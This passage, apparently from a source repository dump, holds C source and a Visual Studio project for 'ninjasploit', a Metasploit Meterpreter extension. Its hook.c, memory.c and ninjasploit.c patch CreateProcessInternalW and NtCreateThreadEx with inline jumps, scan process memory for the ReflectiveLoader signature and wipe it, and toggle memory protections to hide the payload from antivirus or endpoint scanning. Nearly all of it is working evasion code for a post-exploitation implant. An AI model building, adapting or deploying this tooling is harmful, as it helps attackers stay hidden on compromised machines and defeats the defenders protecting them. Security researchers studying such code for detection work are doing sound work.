0x0A2A1DE0 114 | #define EXITFUNC_PROCESS 0x56A2B5F0 115 | 116 | #define DLL_METASPLOIT_ATTACH 4 117 | #define DLL_METASPLOIT_DETACH 5 118 | #define DLL_QUERY_HMODULE 6 119 | 120 | 121 | 122 | BOOL MetasploitDllAttach(SOCKET socket); 123 | 124 | BOOL MetasploitDllDetach(DWORD dwExitFunc); 125 | 126 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved); 127 | #endif 128 | */ -------------------------------------------------------------------------------- /c/meterpreter/source/extensions/ninjasploit/hook.c: -------------------------------------------------------------------------------- 1 | #include "hook.h" 2 | 3 | BOOL restoreHook(LPHOOK_RESULT hookResult) { 4 | if (!hookResult) return FALSE; 5 | 6 | DWORD currProt; 7 | 8 | VirtualProtect(hookResult->hookFunAddr, hookResult->len, PAGE_EXECUTE_READWRITE, &currProt); 9 | 10 | CopyMemory(hookResult->hookFunAddr, hookResult->originalData, hookResult->len); 11 | 12 | DWORD dummy; 13 | 14 | VirtualProtect(hookResult->hookFunAddr, hookResult->len, currProt, &dummy); 15 | 16 | HeapFree(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, hookResult->originalData); 17 | HeapFree(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, hookResult); 18 | 19 | return TRUE; 20 | } 21 | 22 | LPHOOK_RESULT installHook(LPVOID hookFunAddr, LPVOID jmpAddr, SIZE_T len) { 23 | if (len < 5) { 24 | return NULL; 25 | } 26 | 27 | DWORD currProt; 28 | 29 | 30 | LPBYTE originalData = (LPBYTE)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, len); 31 | CopyMemory(originalData, hookFunAddr, len); 32 | 33 | LPHOOK_RESULT hookResult = (LPHOOK_RESULT)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, sizeof(HOOK_RESULT)); 34 | 35 | hookResult->hookFunAddr = hookFunAddr; 36 | hookResult->jmpAddr = jmpAddr; 37 | hookResult->len = len; 38 | 39 | hookResult->originalData = originalData; 40 | 41 | VirtualProtect(hookFunAddr, len, PAGE_EXECUTE_READWRITE, &currProt); 42 | 43 | memset(hookFunAddr, 0x90, len); 44 | 45 | SIZE_T relativeAddress = ((SIZE_T)jmpAddr - (SIZE_T)hookFunAddr) - 5; 46 | 47 | *(LPBYTE)hookFunAddr = 0xE9; // JMP OP CODE 48 | *(PSIZE_T)((SIZE_T)hookFunAddr + 1) = relativeAddress; 49 | 50 | DWORD temp; 51 | VirtualProtect(hookFunAddr, len, currProt, &temp); 52 | 53 | printf("Hook installed at address: %02uX\n", (SIZE_T)hookFunAddr); 54 | 55 | return hookResult; 56 | } -------------------------------------------------------------------------------- /c/meterpreter/source/extensions/ninjasploit/hook.h: -------------------------------------------------------------------------------- 1 | #ifndef _METERPRETER_SOURCE_EXTENSION_NINJASPLOIT_HOOK_H 2 | #define _METERPRETER_SOURCE_EXTENSION_NINJASPLOIT_HOOK_H 3 | 4 | // #include "../../common/common.h" 5 | #include 6 | #include 7 | 8 | typedef struct { 9 | LPVOID hookFunAddr; 10 | LPVOID jmpAddr; 11 | SIZE_T len; 12 | PBYTE originalData; 13 | } HOOK_RESULT, *PHOOK_RESULT, *LPHOOK_RESULT; 14 | 15 | BOOL restoreHook(LPHOOK_RESULT hookResult); 16 | 17 | LPHOOK_RESULT installHook(LPVOID hookFunAddr, LPVOID jmpAddr, SIZE_T len); 18 | 19 | #endif -------------------------------------------------------------------------------- /c/meterpreter/source/extensions/ninjasploit/memory.c: -------------------------------------------------------------------------------- 1 | #include "memory.h" 2 | 3 | /* 4 | BOOL restoreHeap(LPARRAY heapInfoArray) { 5 | for (int i = 0; i < heapInfoArray->size; i++) { 6 | LPHEAP_INFO heapInfo = (LPHEAP_INFO)heapInfoArray->arr + i; 7 | DWORD dummy; 8 | 9 | VirtualProtect(heapInfo->lpData, heapInfo->size, PAGE_READWRITE, &dummy); 10 | 11 | CopyMemory(heapInfo->lpDataAddr, heapInfo->lpData, heapInfo->size); 12 | SecureZeroMemory(heapInfo->lpData, heapInfo->size); 13 | 14 | VirtualFree(heapInfo->lpData, heapInfo->size, MEM_RELEASE); 15 | } 16 | 17 | return TRUE; 18 | } 19 | 20 | VOID lookSigsAtHeap() { 21 | DWORD dummy; 22 | 23 | VirtualProtect(detectableSignature, 20, PAGE_READONLY, &dummy); 24 | 25 | SIGNATURE sig; 26 | sig.signature = detectableSignature; 27 | 28 | sig.sigSize = 20; 29 | 30 | PROCESS_HEAP_ENTRY heapEntry; 31 | 32 | SecureZeroMemory(&heapEntry, sizeof(PROCESS_HEAP_ENTRY)); 33 | 34 | 35 | HANDLE heap = GetProcessHeap(); 36 | int ctr = 0; 37 | 38 | PATTERN_RESULT res = { 0 }; 39 | res.sigs = malloc(sizeof(SIZE_T) * 10); 40 | 41 | HeapLock(heap); 42 | printf("locked heap\n"); 43 | Sleep(3000); 44 | while (HeapWalk(heap, &heapEntry)) { 45 | if (heapEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY) { 46 | printf("ctr: %d, addr: %X, size: %X\n", ctr++, heapEntry.lpData, heapEntry.cbData); 47 | 48 | patternScanEx((SIZE_T)heapEntry.lpData, heapEntry.cbData, "xxxxxxxxxxxxxxxxxxxx", &sig, &res, 10); 49 | } 50 | } 51 | HeapUnlock(heap); 52 | 53 | VirtualProtect(detectableSignature, 20, PAGE_NOACCESS, &dummy); 54 | 55 | }*/ 56 | 57 | 58 | BOOL searchWholeThing(LPSIGNATURE sig) { 59 | ALLOCATED_ADDRESSES_RESULT result = { 0 }; 60 | 61 | DWORD TOTAL = 50; 62 | 63 | result.arr = calloc(TOTAL, sizeof(MEMORY_BASIC_INFORMATION)); // 100 positions 64 | 65 | SIZE_T ctr = 0; 66 | 67 | SYSTEM_INFO si = { 0 }; 68 | 69 | GetSystemInfo(&si); 70 | 71 | SIZE_T currentAddress = (SIZE_T)si.lpMinimumApplicationAddress; 72 | SIZE_T max = (SIZE_T)si.lpMaximumApplicationAddress; 73 | 74 | printf("address of signature: 0x%X\n", sig->signature); 75 | 76 | PATTERN_RESULT patternRes = { 0 }; 77 | patternRes.sigs = malloc(sizeof(SIZE_T) * 10); 78 | 79 | while (currentAddress < max) { 80 | MEMORY_BASIC_INFORMATION info; 81 | SecureZeroMemory(&info, sizeof(MEMORY_BASIC_INFORMATION)); 82 | 83 | VirtualQuery((LPVOID)currentAddress, &info, sizeof(MEMORY_BASIC_INFORMATION)); 84 | 85 | if (info.Type == MEM_PRIVATE && info.State != MEM_FREE && info.Protect != PAGE_NOACCESS) { 86 | DWORD oldProtect, dummyProtect; 87 | 88 | if (!VirtualProtect(info.AllocationBase, info.RegionSize, PAGE_EXECUTE_READWRITE, &oldProtect)) { 89 | // printf("[FATAL] virtual protect failed, %d at 0x%X\n", GetLastError(), info.AllocationBase); 90 | currentAddress = (SIZE_T)info.BaseAddress + (SIZE_T)info.RegionSize; 91 | continue; 92 | } 93 | 94 | 95 | 96 | patternScanEx((SIZE_T)info.AllocationBase, info.RegionSize, "xxxxxxxxxxxxxxxxxxxx", sig, &patternRes, 10); 97 | 98 | if (patternRes.size > 0 && patternRes.sigs[0] != sig->signature) { 99 | printf("Old protcet was: %X\n", info.Protect); 100 | //printMemoryInfo((LPVOID)patternRes.sigs[0]); 101 | SecureZeroMemory(patternRes.sigs[0], 20); 102 | } 103 | 104 | VirtualProtect(info.AllocationBase, info.RegionSize, oldProtect, &dummyProtect); 105 | } 106 | 107 | currentAddress = (SIZE_T)info.BaseAddress + (SIZE_T)info.RegionSize; 108 | } 109 | 110 | result.dwSize = ctr; 111 | return TRUE; 112 | } 113 | 114 | /* 115 | BOOL cleanHeap(LPARRAY arr) { 116 | DWORD dummy2; 117 | VirtualProtect(detectableSignature, 20, PAGE_READWRITE, &dummy2); 118 | 119 | SIGNATURE sig; 120 | sig.signature = detectableSignature; 121 | 122 | sig.sigSize = 20; 123 | 124 | PROCESS_HEAP_ENTRY heapEntry; 125 | 126 | ZeroMemory(&heapEntry, sizeof(PROCESS_HEAP_ENTRY)); 127 | 128 | HANDLE heap = GetProcessHeap(); 129 | 130 | LPARRAY heapInfoArray = arr; 131 | SIZE_T heapInfoSize = 20; 132 | 133 | heapInfoArray->arr = malloc(sizeof(HEAP_INFO) * heapInfoSize); 134 | 135 | PATTERN_RESULT res = { 0 }; 136 | res.sigs = malloc(sizeof(SIZE_T) * 10); 137 | 138 | HeapLock(heap); // that makes sure that other thread dont have access to heap 139 | while (HeapWalk(heap, &heapEntry)) { 140 | if (heapEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY) { 141 | 142 | patternScanEx((SIZE_T)heapEntry.lpData, heapEntry.cbData, "xxxxxxxxxxxxxxxxxxxx", &sig, &res, 10); 143 | 144 | if (heapInfoArray->size == heapInfoSize) { // if we have reached full size of array, resize 145 | LPVOID newArr = malloc(sizeof(HEAP_INFO) * heapInfoSize * 2); 146 | 147 | CopyMemory(newArr, heapInfoArray->arr, heapInfoSize); 148 | 149 | heapInfoSize *= 2; 150 | 151 | free(heapInfoArray->arr); 152 | heapInfoArray->arr = newArr; 153 | } 154 | 155 | if (res.size > 0) { // if we have a match in this region 156 | LPHEAP_INFO heapInfo = ((LPHEAP_INFO)heapInfoArray->arr) + heapInfoArray->size++; 157 | DWORD dummy; 158 | 159 | heapInfo->lpData = VirtualAlloc(NULL, heapEntry.cbData, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 160 | heapInfo->size = heapEntry.cbData; 161 | heapInfo->lpDataAddr = heapEntry.lpData; 162 | 163 | CopyMemory(heapInfo->lpData, heapEntry.lpData, heapEntry.cbData); 164 | VirtualAlloc(heapInfo->lpData, heapInfo->size, PAGE_NOACCESS, &dummy); // secure data to no access page 165 | 166 | printf("Wiping memory at: %X, size: %X\n", heapEntry.lpData, heapEntry.cbData); 167 | SecureZeroMemory(heapEntry.lpData, heapEntry.cbData); // wipe whole region in heap 168 | if (verifyNullMem(heapEntry.lpData, heapEntry.cbData)) { 169 | printf("Memory is clean, verified!\n"); 170 | } 171 | else { 172 | printf("Memory is not clean\n"); 173 | } 174 | } 175 | 176 | } 177 | } 178 | 179 | HeapUnlock(heap); 180 | free(res.sigs); 181 | 182 | SecureZeroMemory(detectableSignature, 20); 183 | 184 | return TRUE; 185 | }*/ 186 | 187 | /* 188 | BOOL verifyNullMem(LPVOID start, SIZE_T size) { 189 | PBYTE mem = (PBYTE)start; 190 | 191 | for (SIZE_T i = 0; i < size; i++) { 192 | if (*mem != 0) { 193 | printf("Memory is NOT NULL\n"); 194 | return FALSE; 195 | } 196 | } 197 | 198 | printf("Memory is NULL\n"); 199 | return TRUE; 200 | }*/ 201 | 202 | VOID printMemoryInfo(LPVOID address) { 203 | MEMORY_BASIC_INFORMATION info = { 0 }; 204 | 205 | VirtualQuery(address, &info, sizeof(MEMORY_BASIC_INFORMATION)); 206 | 207 | printf("BaseAddress -> %02X\n", (DWORD)info.BaseAddress); 208 | printf("AllocationBase -> %02X\n", (DWORD)info.AllocationBase); 209 | printf("AllocationProtect -> %02X\n", (DWORD)info.AllocationProtect); 210 | printf("RegionSize -> %02X\n", (DWORD)info.RegionSize); 211 | printf("State -> %02X\n", (DWORD)info.State); 212 | printf("Protect -> %02X\n", (DWORD)info.Protect); 213 | printf("Type -> %02X\n", (DWORD)info.Type); 214 | } 215 | 216 | 217 | ALLOCATED_ADDRESSES_RESULT getAllocatedAddresses(DWORD dwProtect) { 218 | ALLOCATED_ADDRESSES_RESULT result = { 0 }; 219 | 220 | DWORD TOTAL = 50; 221 | 222 | result.arr = calloc(TOTAL, sizeof(MEMORY_BASIC_INFORMATION)); // 50 positions 223 | 224 | SIZE_T ctr = 0; 225 | 226 | SYSTEM_INFO si = { 0 }; 227 | 228 | GetSystemInfo(&si); 229 | 230 | SIZE_T currentAddress = (SIZE_T)si.lpMinimumApplicationAddress; 231 | SIZE_T max = (SIZE_T)si.lpMaximumApplicationAddress; 232 | 233 | MEMORY_BASIC_INFORMATION currentMemory = { 0 }; // used to exclude current memory 234 | VirtualQuery(setPermissions, ¤tMemory, sizeof(MEMORY_BASIC_INFORMATION)); 235 | 236 | while (currentAddress < max) { 237 | MEMORY_BASIC_INFORMATION info = { 0 }; 238 | 239 | VirtualQuery((LPVOID)currentAddress, &info, sizeof(MEMORY_BASIC_INFORMATION)); 240 | 241 | if (info.Protect == dwProtect && info.AllocationBase != currentMemory.AllocationBase) { // exclude current page 242 | result.arr[ctr++] = info; 243 | printf("[!X!] FOUND ADDRESS\n"); 244 | printf("[!] Found memory region: %02X at %02X of size %02X\n\n", ctr, info.BaseAddress, info.RegionSize); 245 | } 246 | 247 | currentAddress = (SIZE_T)info.BaseAddress + (SIZE_T)info.RegionSize; 248 | 249 | if (ctr >= TOTAL) { 250 | break; 251 | } 252 | } 253 | 254 | result.dwSize = ctr; 255 | return result; 256 | } 257 | 258 | BOOL setPermissions(MEMORY_BASIC_INFORMATION* addresses, DWORD dwSize, DWORD dwProtect) { 259 | DWORD dummy; 260 | 261 | printf("[X] Memory to protect size: %d\n", dwSize); 262 | 263 | for (DWORD i = 0; i < dwSize; i++) { 264 | MEMORY_BASIC_INFORMATION* info = addresses + i; 265 | 266 | if (!VirtualProtect(info->AllocationBase, info->RegionSize, dwProtect, &dummy)) { 267 | printf("[X] Set permission failed, memory is not protected\n"); 268 | return FALSE; 269 | } 270 | 271 | printf("[!] Changed protection of region: at %02X of size %02X\n\n", info->AllocationBase, info->RegionSize); 272 | } 273 | 274 | printf("Restored all the memory regions\n"); 275 | return TRUE; 276 | } 277 | 278 | 279 | BOOL patternScanEx(SIZE_T startAddress, SIZE_T length, LPCSTR mask, LPSIGNATURE signature, LPPATTERN_RESULT res, DWORD resArrSize) { 280 | res->size = 0; 281 | 282 | if (strlen(mask) != signature->sigSize || length <= 0) { 283 | printf("Different size of mask and signature, mask: %d, signature: %d, length: %d\n", strlen(mask), signature->sigSize, length); 284 | return FALSE; 285 | } 286 | 287 | for (SIZE_T i = 0; i < length; i++) { 288 | if (patternMatches(startAddress + i, mask, signature)) { 289 | printf("[SIG_SCAN] Found bytes at %X\n", startAddress + i); 290 | if (res->size < resArrSize) { 291 | res->sigs[res->size++] = startAddress + i; 292 | } 293 | else { 294 | printf("Buffer overflow!!\n"); 295 | res->size++; 296 | } 297 | } 298 | } 299 | 300 | return TRUE; 301 | } 302 | 303 | 304 | /* 305 | * Says when a area in the specified process matches the signature. 306 | * 307 | * @param a HANDLE to the process. 308 | * @param the baseAddress that the function will try to match. 309 | * @param the mask of the pattern. 310 | * @param a vector which contains the signature of the pattern. 311 | * @return TRUE if the signature of the pattern matches the BYTES in the area in the memory specified by the @param address. 312 | */ 313 | BOOL patternMatches(SIZE_T address, LPCSTR mask, LPSIGNATURE signature) { 314 | LPBYTE mem = NULL; 315 | 316 | 317 | for (SIZE_T i = 0; i < signature->sigSize; i++) { 318 | mem = (LPBYTE)(address + i); 319 | 320 | // printf("mem is: %X, sig is: %X at %X, index: %d\n", *mem, signature->signature[i], address, i); 321 | 322 | if (mask[i] == 'x' && *mem != signature->signature[i]) { 323 | return FALSE; 324 | } 325 | } 326 | 327 | return TRUE; 328 | } -------------------------------------------------------------------------------- /c/meterpreter/source/extensions/ninjasploit/memory.h: -------------------------------------------------------------------------------- 1 | #ifndef _METERPRETER_SOURCE_EXTENSION_NINJASPLOIT_MEMORY_H 2 | #define _METERPRETER_SOURCE_EXTENSION_NINJASPLOIT_MEMORY_H 3 | 4 | // #include "../../common/common.h" 5 | #include 6 | #include 7 | #include "definitions.h" 8 | 9 | typedef struct { 10 | MEMORY_BASIC_INFORMATION* arr; 11 | DWORD dwSize; 12 | }ALLOCATED_ADDRESSES_RESULT, *LPALLOCATED_ADDRESSES_RESULT, *PALLOCATED_ADDRESSES_RESULT; 13 | 14 | typedef struct { 15 | LPBYTE signature; 16 | SIZE_T sigSize; 17 | }SIGNATURE, *LPSIGNATURE, *PSIGNATURE; 18 | 19 | typedef struct { 20 | PSIZE_T sigs; 21 | SIZE_T size; 22 | }PATTERN_RESULT, *LPPATTERN_RESULT, *PPATTERN_RESULT; 23 | 24 | ALLOCATED_ADDRESSES_RESULT getAllocatedAddresses(DWORD dwProtect); 25 | BOOL setPermissions(MEMORY_BASIC_INFORMATION* addresses, DWORD dwSize, DWORD dwProtect); 26 | 27 | BOOL patternScanEx(SIZE_T startAddress, SIZE_T length, LPCSTR mask, LPSIGNATURE signature, LPPATTERN_RESULT res, DWORD resArrSize); 28 | BOOL patternMatches(SIZE_T address, LPCSTR mask, LPSIGNATURE signature); 29 | 30 | BOOL searchWholeThing(LPSIGNATURE sig); 31 | 32 | VOID printMemoryInfo(LPVOID address); 33 | 34 | BOOL restoreHeap(LPARRAY arr); 35 | BOOL cleanHeap(LPARRAY arr); 36 | 37 | VOID lookSigsAtHeap(); 38 | 39 | #endif 40 | -------------------------------------------------------------------------------- /c/meterpreter/source/extensions/ninjasploit/ninjasploit.c: -------------------------------------------------------------------------------- 1 | /*! 2 | * @file bare.c 3 | * @brief Entry point and intialisation functionality for the bare extention. 4 | */ 5 | #include "../../common/common.h" 6 | 7 | #include "definitions.h" 8 | #include "ninjasploit.h" 9 | #include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" 10 | // include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function 11 | // but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the 12 | // second stage reflective dll inject payload and not the metsrv itself when it loads extensions. 13 | #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" 14 | #include "customhooks.h" 15 | #include "memory.h" 16 | 17 | EnableDelayLoadMetSrv(); 18 | 19 | DWORD install_hooks(Remote *remote, Packet *packet); 20 | DWORD restore_hooks(Remote *remote, Packet *packet); 21 | BOOL verifyNullMem(LPVOID addr, SIZE_T size); 22 | 23 | DWORD ninjasploit_install_hooks(Remote *remote, Packet *packet) { 24 | Packet *response = packet_create_response(packet); 25 | 26 | CreateProcessInternalW = (PCreateProcessInternalW)GetProcAddress(GetModuleHandle("KERNELBASE.dll"), "CreateProcessInternalW"); 27 | NtCreateThreadEx = (PNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx"); 28 | 29 | allocatedAddresses = getAllocatedAddresses(PAGE_EXECUTE_READWRITE); 30 | 31 | DuplicateHandle(GetCurrentProcess(), remote->server_thread, GetCurrentProcess(), &metasploitThread, NULL, FALSE, DUPLICATE_SAME_ACCESS); 32 | 33 | // install hooks 34 | createProcessHookResult = installHook(CreateProcessInternalW, hookCreateProcessInternalW, 5); 35 | createRemoteThreadHookResult = installHook(NtCreateThreadEx, hookCreateRemoteThreadEx, 5); 36 | 37 | SIGNATURE sig; 38 | sig.signature = "\x5F\x52\x65\x66\x6C\x65\x63\x74\x69\x76\x65\x4C\x6F\x61\x64\x65\x72\x40\x30\x00"; 39 | sig.sigSize = 20; 40 | 41 | detectableSignature = VirtualAlloc(NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 42 | 43 | for (SIZE_T i = 0; i < sig.sigSize; i++) { 44 | detectableSignature[i] = sig.signature[i]; 45 | } 46 | 47 | DWORD dummy; 48 | 49 | VirtualProtect(detectableSignature, 0x1000, PAGE_NOACCESS, &dummy); 50 | 51 | MEMORY_BASIC_INFORMATION info = { 0 }; 52 | 53 | VirtualQuery((LPVOID)ninjasploit_install_hooks, &info, sizeof(MEMORY_BASIC_INFORMATION)); 54 | 55 | PATTERN_RESULT signatures = { 0 }; 56 | signatures.sigs = malloc(sizeof(SIZE_T) * 10); 57 | 58 | patternScanEx((SIZE_T)info.AllocationBase, info.RegionSize, "xxxxxxxxxxxxxxxxxxxx", &sig, &signatures, 10); 59 | 60 | for (SIZE_T i = 0; i < signatures.size; i++) { 61 | DWORD protect, dummy; 62 | 63 | VirtualQuery((LPVOID)signatures.sigs[i], &info, sizeof(MEMORY_BASIC_INFORMATION)); 64 | 65 | if (info.Protect != PAGE_NOACCESS) { 66 | VirtualProtect((LPVOID)signatures.sigs[i], sig.sigSize, PAGE_READWRITE, &protect); 67 | 68 | SecureZeroMemory((LPVOID)signatures.sigs[i], sig.sigSize); 69 | VirtualProtect((LPVOID)signatures.sigs[i], sig.sigSize, protect, &dummy); 70 | } 71 | } 72 | 73 | free(signatures.sigs); 74 | 75 | packet_add_tlv_string(response, TLV_TYPE_NINJASPLOIT_INSTALL_HOOKS, "Hooks installed!"); 76 | packet_transmit_response(ERROR_SUCCESS, remote, response); 77 | 78 | return ERROR_SUCCESS; 79 | } 80 | 81 | 82 | DWORD ninjasploit_restore_hooks(Remote *remote, Packet *packet) { 83 | Packet *response = packet_create_response(packet); 84 | 85 | BOOL restored = FALSE; 86 | 87 | if (createProcessHookResult != NULL) { 88 | restoreHook(createProcessHookResult); 89 | restored = TRUE; 90 | } 91 | 92 | if (createRemoteThreadHookResult != NULL) { 93 | restoreHook(createRemoteThreadHookResult); 94 | restored = TRUE; 95 | } 96 | 97 | PCHAR msg = restored ? "Restored all hooks" : "There was no hooks to restore"; 98 | 99 | packet_add_tlv_string(response, TLV_TYPE_NINJASPLOIT_RESTORE_HOOKS, msg); 100 | 101 | packet_transmit_response(ERROR_SUCCESS, remote, response); 102 | 103 | return ERROR_SUCCESS; 104 | } 105 | 106 | 107 | Command customCommands[] = 108 | { 109 | COMMAND_REQ("ninjasploit_install_hooks", ninjasploit_install_hooks), 110 | COMMAND_REQ("ninjasploit_restore_hooks", ninjasploit_restore_hooks), 111 | COMMAND_TERMINATOR 112 | }; 113 | 114 | /*! 115 | * @brief Initialize the server extension 116 | */ 117 | DWORD __declspec(dllexport) InitServerExtension(Remote *remote) 118 | { 119 | hMetSrv = remote->met_srv; 120 | 121 | command_register_all(customCommands); 122 | 123 | createProcessHookResult = NULL; 124 | createRemoteThreadHookResult = NULL; 125 | 126 | 127 | return ERROR_SUCCESS; 128 | } 129 | 130 | /*! 131 | * @brief Deinitialize the server extension 132 | */ 133 | DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) 134 | { 135 | command_deregister_all(customCommands); 136 | 137 | return ERROR_SUCCESS; 138 | } 139 | 140 | -------------------------------------------------------------------------------- /c/meterpreter/source/extensions/ninjasploit/ninjasploit.h: -------------------------------------------------------------------------------- 1 | /*! 2 | * @file bare.h 3 | * @brief Entry point and intialisation declrations for the bare extention. 4 | */ 5 | #ifndef _METERPRETER_SOURCE_EXTENSION_NINJASPLOIT_NINJASPLOIT_H 6 | #define _METERPRETER_SOURCE_EXTENSION_NINJASPLOIT_NINJASPLOIT_H 7 | 8 | #define TLV_TYPE_EXTENSION_NINJASPLOIT 0 9 | 10 | 11 | #define TLV_TYPE_NINJASPLOIT_INSTALL_HOOKS MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_NINJASPLOIT, TLV_EXTENSIONS + 1) 12 | #define TLV_TYPE_NINJASPLOIT_RESTORE_HOOKS MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_NINJASPLOIT, TLV_EXTENSIONS + 2) 13 | // Custom TLVs go here 14 | 15 | #endif 16 | -------------------------------------------------------------------------------- /c/meterpreter/workspace/ext_server_ninjasploit/ext_server_ninjasploit.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | r7_release 6 | Win32 7 | 8 | 9 | r7_release 10 | x64 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {D3F39324-040D-4B1F-ADA9-762F16A120E6} 23 | ext_server_ninjasploit 24 | Win32Proj 25 | 26 | 27 | 28 | DynamicLibrary 29 | MultiByte 30 | false 31 | v120_xp 32 | 33 | 34 | DynamicLibrary 35 | MultiByte 36 | false 37 | v120_xp 38 | 39 | 40 | DynamicLibrary 41 | MultiByte 42 | false 43 | v120_xp 44 | 45 | 46 | DynamicLibrary 47 | MultiByte 48 | false 49 | v120_xp 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | <_ProjectFileVersion>10.0.30319.1 61 | $(Configuration)\$(Platform)\ 62 | $(Configuration)\$(Platform)\ 63 | false 64 | false 65 | AllRules.ruleset 66 | 67 | 68 | $(ProjectName).$(PlatformShortName) 69 | 70 | 71 | 72 | MinSpace 73 | OnlyExplicitInline 74 | false 75 | ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\ninjasploit;%(AdditionalIncludeDirectories) 76 | WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_NINJASPLOIT_EXPORTS;%(PreprocessorDefinitions) 77 | true 78 | MultiThreaded 79 | false 80 | 81 | 82 | $(OutDir)\ 83 | $(OutDir)\ 84 | $(OutDir)\ 85 | Level3 86 | ProgramDatabase 87 | false 88 | Size 89 | true 90 | 91 | 92 | backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) 93 | ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) 94 | false 95 | %(IgnoreSpecificDefaultLibraries) 96 | metsrv.dll;%(DelayLoadDLLs) 97 | false 98 | true 99 | $(OutDir)\ext_server_ninjasploit.map 100 | Windows 101 | 102 | 103 | 104 | 105 | false 106 | 107 | 108 | $(OutDir)\ext_server_ninjasploit.lib 109 | MachineX86 110 | false 111 | 112 | 113 | editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL 114 | IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY 115 | mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" 116 | :COPY 117 | copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" 118 | 119 | 120 | 121 | 122 | MinSpace 123 | OnlyExplicitInline 124 | false 125 | ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\ninjasploit;%(AdditionalIncludeDirectories) 126 | WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_NINJASPLOIT_EXPORTS;%(PreprocessorDefinitions) 127 | true 128 | MultiThreaded 129 | false 130 | 131 | 132 | $(OutDir)\ 133 | $(OutDir)\ 134 | $(OutDir)\ 135 | Level3 136 | ProgramDatabase 137 | false 138 | Size 139 | true 140 | 141 | 142 | backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) 143 | ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) 144 | false 145 | %(IgnoreSpecificDefaultLibraries) 146 | metsrv.dll;%(DelayLoadDLLs) 147 | false 148 | true 149 | $(OutDir)\ext_server_ninjasploit.map 150 | Windows 151 | 152 | 153 | 154 | 155 | false 156 | 157 | 158 | $(OutDir)\ext_server_ninjasploit.lib 159 | MachineX86 160 | false 161 | 162 | 163 | editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL 164 | IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY 165 | mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" 166 | :COPY 167 | copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" 168 | 169 | 170 | 171 | 172 | X64 173 | 174 | 175 | MaxSpeed 176 | OnlyExplicitInline 177 | false 178 | ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\ninjasploit;%(AdditionalIncludeDirectories) 179 | WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_NINJASPLOIT_EXPORTS;%(PreprocessorDefinitions) 180 | true 181 | MultiThreaded 182 | false 183 | 184 | 185 | $(OutDir)\ 186 | $(OutDir)\ 187 | $(OutDir)\ 188 | Level3 189 | ProgramDatabase 190 | false 191 | true 192 | 193 | 194 | Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) 195 | ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) 196 | metsrv.dll;%(DelayLoadDLLs) 197 | false 198 | true 199 | $(OutDir)\ext_server_ninjasploit.map 200 | NotSet 201 | 202 | 203 | 204 | 205 | false 206 | 207 | 208 | $(OutDir)\ext_server_ninjasploit.lib 209 | MachineX64 210 | false 211 | 212 | 213 | editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL 214 | IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY 215 | mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" 216 | :COPY 217 | copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" 218 | 219 | 220 | 221 | 222 | X64 223 | 224 | 225 | MaxSpeed 226 | OnlyExplicitInline 227 | false 228 | ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\ninjasploit;%(AdditionalIncludeDirectories) 229 | WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_NINJASPLOIT_EXPORTS;%(PreprocessorDefinitions) 230 | true 231 | MultiThreaded 232 | false 233 | 234 | 235 | $(OutDir)\ 236 | $(OutDir)\ 237 | $(OutDir)\ 238 | Level3 239 | ProgramDatabase 240 | false 241 | true 242 | 243 | 244 | Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) 245 | ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) 246 | metsrv.dll;%(DelayLoadDLLs) 